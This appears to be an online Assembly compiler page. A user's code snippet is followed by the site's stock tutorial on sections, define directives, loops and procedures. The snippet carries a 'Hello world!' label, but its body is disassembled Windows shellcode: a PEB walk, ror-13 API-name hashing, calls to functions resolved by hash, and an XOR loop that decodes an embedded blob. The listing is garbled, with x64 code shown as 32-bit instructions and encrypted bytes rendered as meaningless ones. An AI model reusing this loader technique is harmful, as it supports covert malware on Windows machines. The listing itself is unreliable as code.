section .data hello: db 'Hello world!',10 ; 'Hello world!' plus a linefeed character helloLen: equ $-hello ; Length of the 'Hello world!' string section .text global _start _start: cld dec eax and esp,0xfffffff0 call 0x000000ce inc ecx push ecx inc ecx push eax push edx push ecx push esi dec eax xor edx,edx gs dec eax mov edx,DWORD PTR [edx+0x60] dec eax mov edx,DWORD PTR [edx+0x18] dec eax mov edx,DWORD PTR [edx+0x20] dec eax mov esi,DWORD PTR [edx+0x50] dec eax movzx ecx,WORD PTR [edx+0x4a] dec ebp xor ecx,ecx dec eax xor eax,eax lods al,BYTE PTR ds:[esi] cmp al,0x61 jl 0x00000037 sub al,0x20 inc ecx ror ecx,0xd inc ecx add ecx,eax loop 0x0000002d push edx inc ecx push ecx dec eax mov edx,DWORD PTR [edx+0x20] mov eax,DWORD PTR [edx+0x3c] dec eax add eax,edx cmp WORD PTR [eax+0x18],0x20b jne 0x000000c3 mov eax,DWORD PTR [eax+0x88] dec eax test eax,eax je 0x000000c3 dec eax add eax,edx push eax mov ecx,DWORD PTR [eax+0x18] inc esp mov eax,DWORD PTR [eax+0x20] dec ecx add eax,edx jecxz 0x000000c2 dec eax dec ecx inc ecx mov esi,DWORD PTR [eax+ecx*4] dec eax add esi,edx dec ebp xor ecx,ecx dec eax xor eax,eax lods al,BYTE PTR ds:[esi] inc ecx ror ecx,0xd inc ecx add ecx,eax cmp al,ah jne 0x0000007d dec esp add ecx,DWORD PTR [esp+0x8] inc ebp cmp ecx,edx jne 0x0000006e pop eax inc esp mov eax,DWORD PTR [eax+0x24] dec ecx add eax,edx inc cx mov ecx,DWORD PTR [eax+ecx*2] inc esp mov eax,DWORD PTR [eax+0x1c] dec ecx add eax,edx inc ecx mov eax,DWORD PTR [eax+ecx*4] dec eax add eax,edx inc ecx pop eax inc ecx pop eax pop esi pop ecx pop edx inc ecx pop eax inc ecx pop ecx inc ecx pop edx inc ecx push edx jmp eax pop eax inc ecx pop ecx pop edx dec eax mov edx,DWORD PTR [edx] jmp 0x00000021 pop ebp dec eax sub esp,0x40 dec eax mov DWORD PTR [esp+0x30],0x0 mov DWORD PTR [esp+0x28],0x0 mov DWORD PTR [esp+0x20],0x3 inc ebp xor ecx,ecx inc ecx mov eax,0x1 mov edx,0x80000000 dec eax lea ecx,[ebp+0x169] inc ecx mov edx,0x4fdaf6da call ebp dec eax mov DWORD PTR [esp+0x40],eax dec eax mov DWORD PTR [esp+0x20],0x0 dec esp lea ecx,[ebp+0x159] inc ecx mov eax,0x8 dec eax lea edx,[ebp+0x161] dec eax mov ecx,DWORD PTR [esp+0x40] inc ecx mov edx,0xbb5f9ead call ebp dec eax mov ecx,DWORD PTR [esp+0x40] inc ecx mov edx,0x528796c6 call ebp dec eax mov eax,DWORD PTR [ebp+0x161] mov ecx,0x10 dec eax lea edx,[ebp+0x172] dec eax xor DWORD PTR [edx],eax dec eax add edx,0x8 loop 0x00000158 jmp 0x0000017c add BYTE PTR [eax],al add BYTE PTR [eax],al add BYTE PTR [eax],al add BYTE PTR [eax],al add BYTE PTR [eax],al add BYTE PTR [eax],al add BYTE PTR [eax],al add BYTE PTR [eax],al arpl WORD PTR [edx],di pop esp js 0x000001e7 jb 0x000001a8 imul eax,DWORD PTR [eax],0xffffff93 push ecx xor cl,BYTE PTR [ecx] jmp 0x000001a0 inc DWORD PTR [esi-0xd] sub ah,ch (bad) in al,dx pop ss je 0x0000014a cmp ebp,edi es mov ecx,0xa2baf522 nop mov ds:0x3cc6c794,al sub BYTE PTR [ebx],dl push esi and dl,BYTE PTR [ebx] pop ebp sbb DWORD PTR [eax+0x26],esi push edi sbb eax,0x19570324 pop ss adc DWORD PTR ds:0x565a0103,esi or eax,0x270e2933 ds pop ebx dec ebp data16 cmp al,0x37 inc edi or esi,DWORD PTR [eax+ebx*2] pop esp sub bp,WORD PTR ds:0xf222744 pop edi or bh,BYTE PTR [esi+0x38] push edi inc esi sub BYTE PTR [bp+si],al sub BYTE PTR gs:[ecx+ebx*1],ch sbb al,0x28 sbb al,0x4b sub esp,DWORD PTR gs:[eax] sbb cl,BYTE PTR [eax] sbb eax,DWORD PTR [edx] push esi pop edi sub ebx,DWORD PTR ss:[esi] or al,0x3e xor al,0x5d pop ebp cmp BYTE PTR [eax],ah sub ebx,DWORD PTR [esi] sub ecx,DWORD PTR [edx] pop edi pop ss .byte 0x2b .byte 0x3d .byte 0x3
Write, Run & Share Assembly code online using OneCompiler's Assembly online compiler for free. It's one of the robust, feature-rich online compilers for Assembly language. Getting started with the OneCompiler's Assembly compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as Assembly
and start coding.
Assembly language(asm) is a low-level programming language, where the language instructions will be more similar to machine code instructions.
Every assembler may have it's own assembly language designed for a specific computers or an operating system.
Assembly language requires less execution time and memory. It is more helful for direct hardware manipulation, real-time critical applications. It is used in device drivers, low-level embedded systems etc.
Assembly language usually consists of three sections,
Data section
To initialize variables and constants, buffer size these values doesn't change at runtime.
bss section
To declare variables
text section
_start
specifies the starting of this section where the actually code is written.
There are various define directives to allocate space for variables for both initialized and uninitialized data.
variable-name define-directive initial-value
Define Directive | Description | Allocated Space |
---|---|---|
DB | Define Byte | 1 byte |
DW | Define Word | 2 bytes |
DD | Define Doubleword | 4 bytes |
DQ | Define Quadword | 8 bytes |
DT | Define Ten Bytes | 10 bytes |
Define Directive | Description |
---|---|
RESB | Reserve a Byte |
RESW | Reserve a Word |
RESD | Reserve a Doubleword |
RESQ | Reserve a Quadword |
REST | Reserve a Ten Bytes |
Constants can be defined using
CONSTANT_NAME EQU regular-exp or value
%assign constant_name value
%define constant_name value
Loops are used to iterate a set of statements for a specific number of times.
mov ECX,n
L1:
;<loop body>
loop L1
where n specifies the no of times loops should iterate.
Procedure is a sub-routine which contains set of statements. Usually procedures are written when multiple calls are required to same set of statements which increases re-usuability and modularity.
procedure_name:
;procedure body
ret